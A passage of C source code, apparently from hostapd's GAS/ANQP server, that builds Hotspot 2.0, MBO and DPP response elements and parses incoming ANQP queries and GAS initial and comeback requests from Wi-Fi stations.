0; i < hapd->conf->hs20_oper_friendly_name_count; i++) { struct hostapd_lang_string *vn; vn = &hapd->conf->hs20_oper_friendly_name[i]; wpabuf_put_u8(buf, 3 + vn->name_len); wpabuf_put_data(buf, vn->lang, 3); wpabuf_put_data(buf, vn->name, vn->name_len); } gas_anqp_set_element_len(buf, len); } } static void anqp_add_wan_metrics(struct hostapd_data *hapd, struct wpabuf *buf) { if (hapd->conf->hs20_wan_metrics) { u8 *len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); wpabuf_put_u8(buf, HS20_STYPE_WAN_METRICS); wpabuf_put_u8(buf, 0); /* Reserved */ wpabuf_put_data(buf, hapd->conf->hs20_wan_metrics, 13); gas_anqp_set_element_len(buf, len); } } static void anqp_add_connection_capability(struct hostapd_data *hapd, struct wpabuf *buf) { if (hapd->conf->hs20_connection_capability) { u8 *len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); wpabuf_put_u8(buf, HS20_STYPE_CONNECTION_CAPABILITY); wpabuf_put_u8(buf, 0); /* Reserved */ wpabuf_put_data(buf, hapd->conf->hs20_connection_capability, hapd->conf->hs20_connection_capability_len); gas_anqp_set_element_len(buf, len); } } static void anqp_add_operating_class(struct hostapd_data *hapd, struct wpabuf *buf) { if (hapd->conf->hs20_operating_class) { u8 *len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); wpabuf_put_u8(buf, HS20_STYPE_OPERATING_CLASS); wpabuf_put_u8(buf, 0); /* Reserved */ wpabuf_put_data(buf, hapd->conf->hs20_operating_class, hapd->conf->hs20_operating_class_len); gas_anqp_set_element_len(buf, len); } } static void anqp_add_icon(struct wpabuf *buf, struct hostapd_bss_config *bss, const char *name) { size_t j; struct hs20_icon *icon = NULL; for (j = 0; j < bss->hs20_icons_count && !icon; j++) { if (os_strcmp(name, bss->hs20_icons[j].name) == 0) icon = &bss->hs20_icons[j]; } if (!icon) return; /* icon info not found */ wpabuf_put_le16(buf, icon->width); wpabuf_put_le16(buf, icon->height); wpabuf_put_data(buf, icon->language, 3); wpabuf_put_u8(buf, os_strlen(icon->type)); wpabuf_put_str(buf, icon->type); wpabuf_put_u8(buf, os_strlen(icon->name)); wpabuf_put_str(buf, icon->name); } static void anqp_add_osu_provider(struct wpabuf *buf, struct hostapd_bss_config *bss, struct hs20_osu_provider *p) { u8 *len, *len2, *count; unsigned int i; len = wpabuf_put(buf, 2); /* OSU Provider Length to be filled */ /* OSU Friendly Name Duples */ len2 = wpabuf_put(buf, 2); for (i = 0; i < p->friendly_name_count; i++) { struct hostapd_lang_string *s = &p->friendly_name[i]; wpabuf_put_u8(buf, 3 + s->name_len); wpabuf_put_data(buf, s->lang, 3); wpabuf_put_data(buf, s->name, s->name_len); } WPA_PUT_LE16(len2, (u8 *) wpabuf_put(buf, 0) - len2 - 2); /* OSU Server URI */ if (p->server_uri) { wpabuf_put_u8(buf, os_strlen(p->server_uri)); wpabuf_put_str(buf, p->server_uri); } else wpabuf_put_u8(buf, 0); /* OSU Method List */ count = wpabuf_put(buf, 1); for (i = 0; p->method_list && p->method_list[i] >= 0; i++) wpabuf_put_u8(buf, p->method_list[i]); *count = i; /* Icons Available */ len2 = wpabuf_put(buf, 2); for (i = 0; i < p->icons_count; i++) anqp_add_icon(buf, bss, p->icons[i]); WPA_PUT_LE16(len2, (u8 *) wpabuf_put(buf, 0) - len2 - 2); /* OSU_NAI */ if (p->osu_nai) { wpabuf_put_u8(buf, os_strlen(p->osu_nai)); wpabuf_put_str(buf, p->osu_nai); } else wpabuf_put_u8(buf, 0); /* OSU Service Description Duples */ len2 = wpabuf_put(buf, 2); for (i = 0; i < p->service_desc_count; i++) { struct hostapd_lang_string *s = &p->service_desc[i]; wpabuf_put_u8(buf, 3 + s->name_len); wpabuf_put_data(buf, s->lang, 3); wpabuf_put_data(buf, s->name, s->name_len); } WPA_PUT_LE16(len2, (u8 *) wpabuf_put(buf, 0) - len2 - 2); WPA_PUT_LE16(len, (u8 *) wpabuf_put(buf, 0) - len - 2); } static void anqp_add_osu_providers_list(struct hostapd_data *hapd, struct wpabuf *buf) { if (hapd->conf->hs20_osu_providers_count) { size_t i; u8 *len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); wpabuf_put_u8(buf, HS20_STYPE_OSU_PROVIDERS_LIST); wpabuf_put_u8(buf, 0); /* Reserved */ /* OSU SSID */ wpabuf_put_u8(buf, hapd->conf->osu_ssid_len); wpabuf_put_data(buf, hapd->conf->osu_ssid, hapd->conf->osu_ssid_len); /* Number of OSU Providers */ wpabuf_put_u8(buf, hapd->conf->hs20_osu_providers_count); for (i = 0; i < hapd->conf->hs20_osu_providers_count; i++) { anqp_add_osu_provider( buf, hapd->conf, &hapd->conf->hs20_osu_providers[i]); } gas_anqp_set_element_len(buf, len); } } static void anqp_add_icon_binary_file(struct hostapd_data *hapd, struct wpabuf *buf, const u8 *name, size_t name_len) { struct hs20_icon *icon; size_t i; u8 *len; wpa_hexdump_ascii(MSG_DEBUG, "HS 2.0: Requested Icon Filename", name, name_len); for (i = 0; i < hapd->conf->hs20_icons_count; i++) { icon = &hapd->conf->hs20_icons[i]; if (name_len == os_strlen(icon->name) && os_memcmp(name, icon->name, name_len) == 0) break; } if (i < hapd->conf->hs20_icons_count) icon = &hapd->conf->hs20_icons[i]; else icon = NULL; len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); wpabuf_put_u8(buf, HS20_STYPE_ICON_BINARY_FILE); wpabuf_put_u8(buf, 0); /* Reserved */ if (icon) { char *data; size_t data_len; data = os_readfile(icon->file, &data_len); if (data == NULL || data_len > 65535) { wpabuf_put_u8(buf, 2); /* Download Status: * Unspecified file error */ wpabuf_put_u8(buf, 0); wpabuf_put_le16(buf, 0); } else { wpabuf_put_u8(buf, 0); /* Download Status: Success */ wpabuf_put_u8(buf, os_strlen(icon->type)); wpabuf_put_str(buf, icon->type); wpabuf_put_le16(buf, data_len); wpabuf_put_data(buf, data, data_len); } os_free(data); } else { wpabuf_put_u8(buf, 1); /* Download Status: File not found */ wpabuf_put_u8(buf, 0); wpabuf_put_le16(buf, 0); } gas_anqp_set_element_len(buf, len); } static void anqp_add_operator_icon_metadata(struct hostapd_data *hapd, struct wpabuf *buf) { struct hostapd_bss_config *bss = hapd->conf; size_t i; u8 *len; if (!bss->hs20_operator_icon_count) return; len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); wpabuf_put_u8(buf, HS20_STYPE_OPERATOR_ICON_METADATA); wpabuf_put_u8(buf, 0); /* Reserved */ for (i = 0; i < bss->hs20_operator_icon_count; i++) anqp_add_icon(buf, bss, bss->hs20_operator_icon[i]); gas_anqp_set_element_len(buf, len); } #endif /* CONFIG_HS20 */ #ifdef CONFIG_MBO static void anqp_add_mbo_cell_data_conn_pref(struct hostapd_data *hapd, struct wpabuf *buf) { if (hapd->conf->mbo_cell_data_conn_pref >= 0) { u8 *len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, MBO_ANQP_OUI_TYPE); wpabuf_put_u8(buf, MBO_ANQP_SUBTYPE_CELL_CONN_PREF); wpabuf_put_u8(buf, hapd->conf->mbo_cell_data_conn_pref); gas_anqp_set_element_len(buf, len); } } #endif /* CONFIG_MBO */ static size_t anqp_get_required_len(struct hostapd_data *hapd, const u16 *infoid, unsigned int num_infoid) { size_t len = 0; unsigned int i; for (i = 0; i < num_infoid; i++) { struct anqp_element *elem = get_anqp_elem(hapd, infoid[i]); if (elem) len += 2 + 2 + wpabuf_len(elem->payload); } return len; } static struct wpabuf * gas_serv_build_gas_resp_payload(struct hostapd_data *hapd, unsigned int request, const u8 *home_realm, size_t home_realm_len, const u8 *icon_name, size_t icon_name_len, const u16 *extra_req, unsigned int num_extra_req) { struct wpabuf *buf; size_t len; unsigned int i; len = 1400; if (request & (ANQP_REQ_NAI_REALM | ANQP_REQ_NAI_HOME_REALM)) len += 1000; if (request & ANQP_REQ_ICON_REQUEST) len += 65536; #ifdef CONFIG_FILS if (request & ANQP_FILS_REALM_INFO) len += 2 * dl_list_len(&hapd->conf->fils_realms); #endif /* CONFIG_FILS */ len += anqp_get_required_len(hapd, extra_req, num_extra_req); buf = wpabuf_alloc(len); if (buf == NULL) return NULL; if (request & ANQP_REQ_CAPABILITY_LIST) anqp_add_capab_list(hapd, buf); if (request & ANQP_REQ_VENUE_NAME) anqp_add_venue_name(hapd, buf); if (request & ANQP_REQ_EMERGENCY_CALL_NUMBER) anqp_add_elem(hapd, buf, ANQP_EMERGENCY_CALL_NUMBER); if (request & ANQP_REQ_NETWORK_AUTH_TYPE) anqp_add_network_auth_type(hapd, buf); if (request & ANQP_REQ_ROAMING_CONSORTIUM) anqp_add_roaming_consortium(hapd, buf); if (request & ANQP_REQ_IP_ADDR_TYPE_AVAILABILITY) anqp_add_ip_addr_type_availability(hapd, buf); if (request & (ANQP_REQ_NAI_REALM | ANQP_REQ_NAI_HOME_REALM)) anqp_add_nai_realm(hapd, buf, home_realm, home_realm_len, request & ANQP_REQ_NAI_REALM, request & ANQP_REQ_NAI_HOME_REALM); if (request & ANQP_REQ_3GPP_CELLULAR_NETWORK) anqp_add_3gpp_cellular_network(hapd, buf); if (request & ANQP_REQ_AP_GEOSPATIAL_LOCATION) anqp_add_elem(hapd, buf, ANQP_AP_GEOSPATIAL_LOCATION); if (request & ANQP_REQ_AP_CIVIC_LOCATION) anqp_add_elem(hapd, buf, ANQP_AP_CIVIC_LOCATION); if (request & ANQP_REQ_AP_LOCATION_PUBLIC_URI) anqp_add_elem(hapd, buf, ANQP_AP_LOCATION_PUBLIC_URI); if (request & ANQP_REQ_DOMAIN_NAME) anqp_add_domain_name(hapd, buf); if (request & ANQP_REQ_EMERGENCY_ALERT_URI) anqp_add_elem(hapd, buf, ANQP_EMERGENCY_ALERT_URI); if (request & ANQP_REQ_TDLS_CAPABILITY) anqp_add_elem(hapd, buf, ANQP_TDLS_CAPABILITY); if (request & ANQP_REQ_EMERGENCY_NAI) anqp_add_elem(hapd, buf, ANQP_EMERGENCY_NAI); for (i = 0; i < num_extra_req; i++) { #ifdef CONFIG_FILS if (extra_req[i] == ANQP_FILS_REALM_INFO) { anqp_add_fils_realm_info(hapd, buf); continue; } #endif /* CONFIG_FILS */ if (extra_req[i] == ANQP_VENUE_URL) { anqp_add_venue_url(hapd, buf); continue; } anqp_add_elem(hapd, buf, extra_req[i]); } #ifdef CONFIG_HS20 if (request & ANQP_REQ_HS_CAPABILITY_LIST) anqp_add_hs_capab_list(hapd, buf); if (request & ANQP_REQ_OPERATOR_FRIENDLY_NAME) anqp_add_operator_friendly_name(hapd, buf); if (request & ANQP_REQ_WAN_METRICS) anqp_add_wan_metrics(hapd, buf); if (request & ANQP_REQ_CONNECTION_CAPABILITY) anqp_add_connection_capability(hapd, buf); if (request & ANQP_REQ_OPERATING_CLASS) anqp_add_operating_class(hapd, buf); if (request & ANQP_REQ_OSU_PROVIDERS_LIST) anqp_add_osu_providers_list(hapd, buf); if (request & ANQP_REQ_ICON_REQUEST) anqp_add_icon_binary_file(hapd, buf, icon_name, icon_name_len); if (request & ANQP_REQ_OPERATOR_ICON_METADATA) anqp_add_operator_icon_metadata(hapd, buf); #endif /* CONFIG_HS20 */ #ifdef CONFIG_MBO if (request & ANQP_REQ_MBO_CELL_DATA_CONN_PREF) anqp_add_mbo_cell_data_conn_pref(hapd, buf); #endif /* CONFIG_MBO */ return buf; } #define ANQP_MAX_EXTRA_REQ 20 struct anqp_query_info { unsigned int request; const u8 *home_realm_query; size_t home_realm_query_len; const u8 *icon_name; size_t icon_name_len; int p2p_sd; u16 extra_req[ANQP_MAX_EXTRA_REQ]; unsigned int num_extra_req; }; static void set_anqp_req(unsigned int bit, const char *name, int local, struct anqp_query_info *qi) { qi->request |= bit; if (local) { wpa_printf(MSG_DEBUG, "ANQP: %s (local)", name); } else { wpa_printf(MSG_DEBUG, "ANQP: %s not available", name); } } static void rx_anqp_query_list_id(struct hostapd_data *hapd, u16 info_id, struct anqp_query_info *qi) { switch (info_id) { case ANQP_CAPABILITY_LIST: set_anqp_req(ANQP_REQ_CAPABILITY_LIST, "Capability List", 1, qi); break; case ANQP_VENUE_NAME: set_anqp_req(ANQP_REQ_VENUE_NAME, "Venue Name", hapd->conf->venue_name != NULL, qi); break; case ANQP_EMERGENCY_CALL_NUMBER: set_anqp_req(ANQP_REQ_EMERGENCY_CALL_NUMBER, "Emergency Call Number", get_anqp_elem(hapd, info_id) != NULL, qi); break; case ANQP_NETWORK_AUTH_TYPE: set_anqp_req(ANQP_REQ_NETWORK_AUTH_TYPE, "Network Auth Type", hapd->conf->network_auth_type != NULL, qi); break; case ANQP_ROAMING_CONSORTIUM: set_anqp_req(ANQP_REQ_ROAMING_CONSORTIUM, "Roaming Consortium", hapd->conf->roaming_consortium != NULL, qi); break; case ANQP_IP_ADDR_TYPE_AVAILABILITY: set_anqp_req(ANQP_REQ_IP_ADDR_TYPE_AVAILABILITY, "IP Addr Type Availability", hapd->conf->ipaddr_type_configured, qi); break; case ANQP_NAI_REALM: set_anqp_req(ANQP_REQ_NAI_REALM, "NAI Realm", hapd->conf->nai_realm_data != NULL, qi); break; case ANQP_3GPP_CELLULAR_NETWORK: set_anqp_req(ANQP_REQ_3GPP_CELLULAR_NETWORK, "3GPP Cellular Network", hapd->conf->anqp_3gpp_cell_net != NULL, qi); break; case ANQP_AP_GEOSPATIAL_LOCATION: set_anqp_req(ANQP_REQ_AP_GEOSPATIAL_LOCATION, "AP Geospatial Location", get_anqp_elem(hapd, info_id) != NULL, qi); break; case ANQP_AP_CIVIC_LOCATION: set_anqp_req(ANQP_REQ_AP_CIVIC_LOCATION, "AP Civic Location", get_anqp_elem(hapd, info_id) != NULL, qi); break; case ANQP_AP_LOCATION_PUBLIC_URI: set_anqp_req(ANQP_REQ_AP_LOCATION_PUBLIC_URI, "AP Location Public URI", get_anqp_elem(hapd, info_id) != NULL, qi); break; case ANQP_DOMAIN_NAME: set_anqp_req(ANQP_REQ_DOMAIN_NAME, "Domain Name", hapd->conf->domain_name != NULL, qi); break; case ANQP_EMERGENCY_ALERT_URI: set_anqp_req(ANQP_REQ_EMERGENCY_ALERT_URI, "Emergency Alert URI", get_anqp_elem(hapd, info_id) != NULL, qi); break; case ANQP_TDLS_CAPABILITY: set_anqp_req(ANQP_REQ_TDLS_CAPABILITY, "TDLS Capability", get_anqp_elem(hapd, info_id) != NULL, qi); break; case ANQP_EMERGENCY_NAI: set_anqp_req(ANQP_REQ_EMERGENCY_NAI, "Emergency NAI", get_anqp_elem(hapd, info_id) != NULL, qi); break; default: #ifdef CONFIG_FILS if (info_id == ANQP_FILS_REALM_INFO && !dl_list_empty(&hapd->conf->fils_realms)) { wpa_printf(MSG_DEBUG, "ANQP: FILS Realm Information (local)"); } else #endif /* CONFIG_FILS */ if (info_id == ANQP_VENUE_URL && hapd->conf->venue_url) { wpa_printf(MSG_DEBUG, "ANQP: Venue URL (local)"); } else if (!get_anqp_elem(hapd, info_id)) { wpa_printf(MSG_DEBUG, "ANQP: Unsupported Info Id %u", info_id); break; } if (qi->num_extra_req == ANQP_MAX_EXTRA_REQ) { wpa_printf(MSG_DEBUG, "ANQP: No more room for extra requests - ignore Info Id %u", info_id); break; } wpa_printf(MSG_DEBUG, "ANQP: Info Id %u (local)", info_id); qi->extra_req[qi->num_extra_req] = info_id; qi->num_extra_req++; break; } } static void rx_anqp_query_list(struct hostapd_data *hapd, const u8 *pos, const u8 *end, struct anqp_query_info *qi) { wpa_printf(MSG_DEBUG, "ANQP: %u Info IDs requested in Query list", (unsigned int) (end - pos) / 2); while (end - pos >= 2) { rx_anqp_query_list_id(hapd, WPA_GET_LE16(pos), qi); pos += 2; } } #ifdef CONFIG_HS20 static void rx_anqp_hs_query_list(struct hostapd_data *hapd, u8 subtype, struct anqp_query_info *qi) { switch (subtype) { case HS20_STYPE_CAPABILITY_LIST: set_anqp_req(ANQP_REQ_HS_CAPABILITY_LIST, "HS Capability List", 1, qi); break; case HS20_STYPE_OPERATOR_FRIENDLY_NAME: set_anqp_req(ANQP_REQ_OPERATOR_FRIENDLY_NAME, "Operator Friendly Name", hapd->conf->hs20_oper_friendly_name != NULL, qi); break; case HS20_STYPE_WAN_METRICS: set_anqp_req(ANQP_REQ_WAN_METRICS, "WAN Metrics", hapd->conf->hs20_wan_metrics != NULL, qi); break; case HS20_STYPE_CONNECTION_CAPABILITY: set_anqp_req(ANQP_REQ_CONNECTION_CAPABILITY, "Connection Capability", hapd->conf->hs20_connection_capability != NULL, qi); break; case HS20_STYPE_OPERATING_CLASS: set_anqp_req(ANQP_REQ_OPERATING_CLASS, "Operating Class", hapd->conf->hs20_operating_class != NULL, qi); break; case HS20_STYPE_OSU_PROVIDERS_LIST: set_anqp_req(ANQP_REQ_OSU_PROVIDERS_LIST, "OSU Providers list", hapd->conf->hs20_osu_providers_count, qi); break; case HS20_STYPE_OPERATOR_ICON_METADATA: set_anqp_req(ANQP_REQ_OPERATOR_ICON_METADATA, "Operator Icon Metadata", hapd->conf->hs20_operator_icon_count, qi); break; default: wpa_printf(MSG_DEBUG, "ANQP: Unsupported HS 2.0 subtype %u", subtype); break; } } static void rx_anqp_hs_nai_home_realm(struct hostapd_data *hapd, const u8 *pos, const u8 *end, struct anqp_query_info *qi) { qi->request |= ANQP_REQ_NAI_HOME_REALM; qi->home_realm_query = pos; qi->home_realm_query_len = end - pos; if (hapd->conf->nai_realm_data != NULL) { wpa_printf(MSG_DEBUG, "ANQP: HS 2.0 NAI Home Realm Query " "(local)"); } else { wpa_printf(MSG_DEBUG, "ANQP: HS 2.0 NAI Home Realm Query not " "available"); } } static void rx_anqp_hs_icon_request(struct hostapd_data *hapd, const u8 *pos, const u8 *end, struct anqp_query_info *qi) { qi->request |= ANQP_REQ_ICON_REQUEST; qi->icon_name = pos; qi->icon_name_len = end - pos; if (hapd->conf->hs20_icons_count) { wpa_printf(MSG_DEBUG, "ANQP: HS 2.0 Icon Request Query " "(local)"); } else { wpa_printf(MSG_DEBUG, "ANQP: HS 2.0 Icon Request Query not " "available"); } } static void rx_anqp_vendor_specific_hs20(struct hostapd_data *hapd, const u8 *pos, const u8 *end, struct anqp_query_info *qi) { u8 subtype; if (end - pos <= 1) return; subtype = *pos++; pos++; /* Reserved */ switch (subtype) { case HS20_STYPE_QUERY_LIST: wpa_printf(MSG_DEBUG, "ANQP: HS 2.0 Query List"); while (pos < end) { rx_anqp_hs_query_list(hapd, *pos, qi); pos++; } break; case HS20_STYPE_NAI_HOME_REALM_QUERY: rx_anqp_hs_nai_home_realm(hapd, pos, end, qi); break; case HS20_STYPE_ICON_REQUEST: rx_anqp_hs_icon_request(hapd, pos, end, qi); break; default: wpa_printf(MSG_DEBUG, "ANQP: Unsupported HS 2.0 query subtype " "%u", subtype); break; } } #endif /* CONFIG_HS20 */ #ifdef CONFIG_P2P static void rx_anqp_vendor_specific_p2p(struct hostapd_data *hapd, struct anqp_query_info *qi) { /* * This is for P2P SD and will be taken care of by the P2P * implementation. This query needs to be ignored in the generic * GAS server to avoid duplicated response. */ wpa_printf(MSG_DEBUG, "ANQP: Ignore WFA vendor type %u (P2P SD) in generic GAS server", P2P_OUI_TYPE); qi->p2p_sd = 1; return; } #endif /* CONFIG_P2P */ #ifdef CONFIG_MBO static void rx_anqp_mbo_query_list(struct hostapd_data *hapd, u8 subtype, struct anqp_query_info *qi) { switch (subtype) { case MBO_ANQP_SUBTYPE_CELL_CONN_PREF: set_anqp_req(ANQP_REQ_MBO_CELL_DATA_CONN_PREF, "Cellular Data Connection Preference", hapd->conf->mbo_cell_data_conn_pref >= 0, qi); break; default: wpa_printf(MSG_DEBUG, "ANQP: Unsupported MBO subtype %u", subtype); break; } } static void rx_anqp_vendor_specific_mbo(struct hostapd_data *hapd, const u8 *pos, const u8 *end, struct anqp_query_info *qi) { u8 subtype; if (end - pos < 1) return; subtype = *pos++; switch (subtype) { case MBO_ANQP_SUBTYPE_QUERY_LIST: wpa_printf(MSG_DEBUG, "ANQP: MBO Query List"); while (pos < end) { rx_anqp_mbo_query_list(hapd, *pos, qi); pos++; } break; default: wpa_printf(MSG_DEBUG, "ANQP: Unsupported MBO query subtype %u", subtype); break; } } #endif /* CONFIG_MBO */ static void rx_anqp_vendor_specific(struct hostapd_data *hapd, const u8 *pos, const u8 *end, struct anqp_query_info *qi) { u32 oui; if (end - pos < 4) { wpa_printf(MSG_DEBUG, "ANQP: Too short vendor specific ANQP " "Query element"); return; } oui = WPA_GET_BE24(pos); pos += 3; if (oui != OUI_WFA) { wpa_printf(MSG_DEBUG, "ANQP: Unsupported vendor OUI %06x", oui); return; } switch (*pos) { #ifdef CONFIG_P2P case P2P_OUI_TYPE: rx_anqp_vendor_specific_p2p(hapd, qi); break; #endif /* CONFIG_P2P */ #ifdef CONFIG_HS20 case HS20_ANQP_OUI_TYPE: rx_anqp_vendor_specific_hs20(hapd, pos + 1, end, qi); break; #endif /* CONFIG_HS20 */ #ifdef CONFIG_MBO case MBO_ANQP_OUI_TYPE: rx_anqp_vendor_specific_mbo(hapd, pos + 1, end, qi); break; #endif /* CONFIG_MBO */ default: wpa_printf(MSG_DEBUG, "ANQP: Unsupported WFA vendor type %u", *pos); break; } } static void gas_serv_req_local_processing(struct hostapd_data *hapd, const u8 *sa, u8 dialog_token, struct anqp_query_info *qi, int prot, int std_addr3) { struct wpabuf *buf, *tx_buf; buf = gas_serv_build_gas_resp_payload(hapd, qi->request, qi->home_realm_query, qi->home_realm_query_len, qi->icon_name, qi->icon_name_len, qi->extra_req, qi->num_extra_req); wpa_hexdump_buf(MSG_MSGDUMP, "ANQP: Locally generated ANQP responses", buf); if (!buf) return; #ifdef CONFIG_P2P if (wpabuf_len(buf) == 0 && qi->p2p_sd) { wpa_printf(MSG_DEBUG, "ANQP: Do not send response to P2P SD from generic GAS service (P2P SD implementation will process this)"); wpabuf_free(buf); return; } #endif /* CONFIG_P2P */ if (wpabuf_len(buf) > hapd->conf->gas_frag_limit || hapd->conf->gas_comeback_delay) { struct gas_dialog_info *di; u16 comeback_delay = 1; if (hapd->conf->gas_comeback_delay) { /* Testing - allow overriding of the delay value */ comeback_delay = hapd->conf->gas_comeback_delay; } wpa_printf(MSG_DEBUG, "ANQP: Too long response to fit in " "initial response - use GAS comeback"); di = gas_dialog_create(hapd, sa, dialog_token); if (!di) { wpa_printf(MSG_INFO, "ANQP: Could not create dialog " "for " MACSTR " (dialog token %u)", MAC2STR(sa), dialog_token); wpabuf_free(buf); tx_buf = gas_anqp_build_initial_resp_buf( dialog_token, WLAN_STATUS_UNSPECIFIED_FAILURE, 0, NULL); } else { di->prot = prot; di->sd_resp = buf; di->sd_resp_pos = 0; tx_buf = gas_anqp_build_initial_resp_buf( dialog_token, WLAN_STATUS_SUCCESS, comeback_delay, NULL); } } else { wpa_printf(MSG_DEBUG, "ANQP: Initial response (no comeback)"); tx_buf = gas_anqp_build_initial_resp_buf( dialog_token, WLAN_STATUS_SUCCESS, 0, buf); wpabuf_free(buf); } if (!tx_buf) return; if (prot) convert_to_protected_dual(tx_buf); if (std_addr3) hostapd_drv_send_action(hapd, hapd->iface->freq, 0, sa, wpabuf_head(tx_buf), wpabuf_len(tx_buf)); else hostapd_drv_send_action_addr3_ap(hapd, hapd->iface->freq, 0, sa, wpabuf_head(tx_buf), wpabuf_len(tx_buf)); wpabuf_free(tx_buf); } #ifdef CONFIG_DPP static void gas_serv_req_dpp_processing(struct hostapd_data *hapd, const u8 *sa, u8 dialog_token, int prot, struct wpabuf *buf) { struct wpabuf *tx_buf; if (wpabuf_len(buf) > hapd->conf->gas_frag_limit || hapd->conf->gas_comeback_delay) { struct gas_dialog_info *di; u16 comeback_delay = 1; if (hapd->conf->gas_comeback_delay) { /* Testing - allow overriding of the delay value */ comeback_delay = hapd->conf->gas_comeback_delay; } wpa_printf(MSG_DEBUG, "DPP: Too long response to fit in initial response - use GAS comeback"); di = gas_dialog_create(hapd, sa, dialog_token); if (!di) { wpa_printf(MSG_INFO, "DPP: Could not create dialog for " MACSTR " (dialog token %u)", MAC2STR(sa), dialog_token); wpabuf_free(buf); tx_buf = gas_build_initial_resp( dialog_token, WLAN_STATUS_UNSPECIFIED_FAILURE, 0, 10); if (tx_buf) gas_serv_write_dpp_adv_proto(tx_buf); } else { di->prot = prot; di->sd_resp = buf; di->sd_resp_pos = 0; tx_buf = gas_build_initial_resp( dialog_token, WLAN_STATUS_SUCCESS, comeback_delay, 10); if (tx_buf) gas_serv_write_dpp_adv_proto(tx_buf); } } else { wpa_printf(MSG_DEBUG, "DPP: GAS Initial response (no comeback)"); tx_buf = gas_build_initial_resp( dialog_token, WLAN_STATUS_SUCCESS, 0, 10 + 2 + wpabuf_len(buf)); if (tx_buf) { gas_serv_write_dpp_adv_proto(tx_buf); wpabuf_put_le16(tx_buf, wpabuf_len(buf)); wpabuf_put_buf(tx_buf, buf); hostapd_dpp_gas_status_handler(hapd, 1); } wpabuf_free(buf); } if (!tx_buf) return; if (prot) convert_to_protected_dual(tx_buf); hostapd_drv_send_action(hapd, hapd->iface->freq, 0, sa, wpabuf_head(tx_buf), wpabuf_len(tx_buf)); wpabuf_free(tx_buf); } #endif /* CONFIG_DPP */ static void gas_serv_rx_gas_initial_req(struct hostapd_data *hapd, const u8 *sa, const u8 *data, size_t len, int prot, int std_addr3) { const u8 *pos = data; const u8 *end = data + len; const u8 *next; u8 dialog_token; u16 slen; struct anqp_query_info qi; const u8 *adv_proto; #ifdef CONFIG_DPP int dpp = 0; #endif /* CONFIG_DPP */ if (len < 1 + 2) return; os_memset(&qi, 0, sizeof(qi)); dialog_token = *pos++; wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: GAS Initial Request from " MACSTR " (dialog token %u) ", MAC2STR(sa), dialog_token); if (*pos != WLAN_EID_ADV_PROTO) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: Unexpected IE in GAS Initial Request: %u", *pos); return; } adv_proto = pos++; slen = *pos++; if (slen > end - pos || slen < 2) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: Invalid IE in GAS Initial Request"); return; } next = pos + slen; pos++; /* skip QueryRespLenLimit and PAME-BI */ #ifdef CONFIG_DPP if (slen == 8 && *pos == WLAN_EID_VENDOR_SPECIFIC && pos[1] == 5 && WPA_GET_BE24(&pos[2]) == OUI_WFA && pos[5] == DPP_OUI_TYPE && pos[6] == 0x01) { wpa_printf(MSG_DEBUG, "DPP: Configuration Request"); dpp = 1; } else #endif /* CONFIG_DPP */ if (*pos != ACCESS_NETWORK_QUERY_PROTOCOL) { struct wpabuf *buf; wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: Unsupported GAS advertisement protocol id %u", *pos); if (sa[0] & 0x01) return; /* Invalid source address - drop silently */ buf = gas_build_initial_resp( dialog_token, WLAN_STATUS_GAS_ADV_PROTO_NOT_SUPPORTED, 0, 2 + slen + 2); if (buf == NULL) return; wpabuf_put_data(buf, adv_proto, 2 + slen); wpabuf_put_le16(buf, 0); /* Query Response Length */ if (prot) convert_to_protected_dual(buf); if (std_addr3) hostapd_drv_send_action(hapd, hapd->iface->freq, 0, sa, wpabuf_head(buf), wpabuf_len(buf)); else hostapd_drv_send_action_addr3_ap(hapd, hapd->iface->freq, 0, sa, wpabuf_head(buf), wpabuf_len(buf)); wpabuf_free(buf); return; } pos = next; /* Query Request */ if (end - pos < 2) return; slen = WPA_GET_LE16(pos); pos += 2; if (slen > end - pos) return; end = pos + slen; #ifdef CONFIG_DPP if (dpp) { struct wpabuf *msg; msg = hostapd_dpp_gas_req_handler(hapd, sa, pos, slen); if (!msg) return; gas_serv_req_dpp_processing(hapd, sa, dialog_token, prot, msg); return; } #endif /* CONFIG_DPP */ /* ANQP Query Request */ while (pos < end) { u16 info_id, elen; if (end - pos < 4) return; info_id = WPA_GET_LE16(pos); pos += 2; elen = WPA_GET_LE16(pos); pos += 2; if (elen > end - pos) { wpa_printf(MSG_DEBUG, "ANQP: Invalid Query Request"); return; } switch (info_id) { case ANQP_QUERY_LIST: rx_anqp_query_list(hapd, pos, pos + elen, &qi); break; case ANQP_VENDOR_SPECIFIC: rx_anqp_vendor_specific(hapd, pos, pos + elen, &qi); break; default: wpa_printf(MSG_DEBUG, "ANQP: Unsupported Query " "Request element %u", info_id); break; } pos += elen; } gas_serv_req_local_processing(hapd, sa, dialog_token, &qi, prot, std_addr3); } static void gas_serv_rx_gas_comeback_req(struct hostapd_data *hapd, const u8 *sa, const u8 *data, size_t len, int prot, int std_addr3) { struct gas_dialog_info *dialog; struct wpabuf *buf, *tx_buf; u8 dialog_token; size_t frag_len; int more = 0; wpa_hexdump(MSG_DEBUG, "GAS: RX GAS Comeback Request", data, len); if (len < 1) return; dialog_token = *data; wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: Dialog Token: %u", dialog_token); dialog = gas_serv_dialog_find(hapd, sa, dialog_token); if 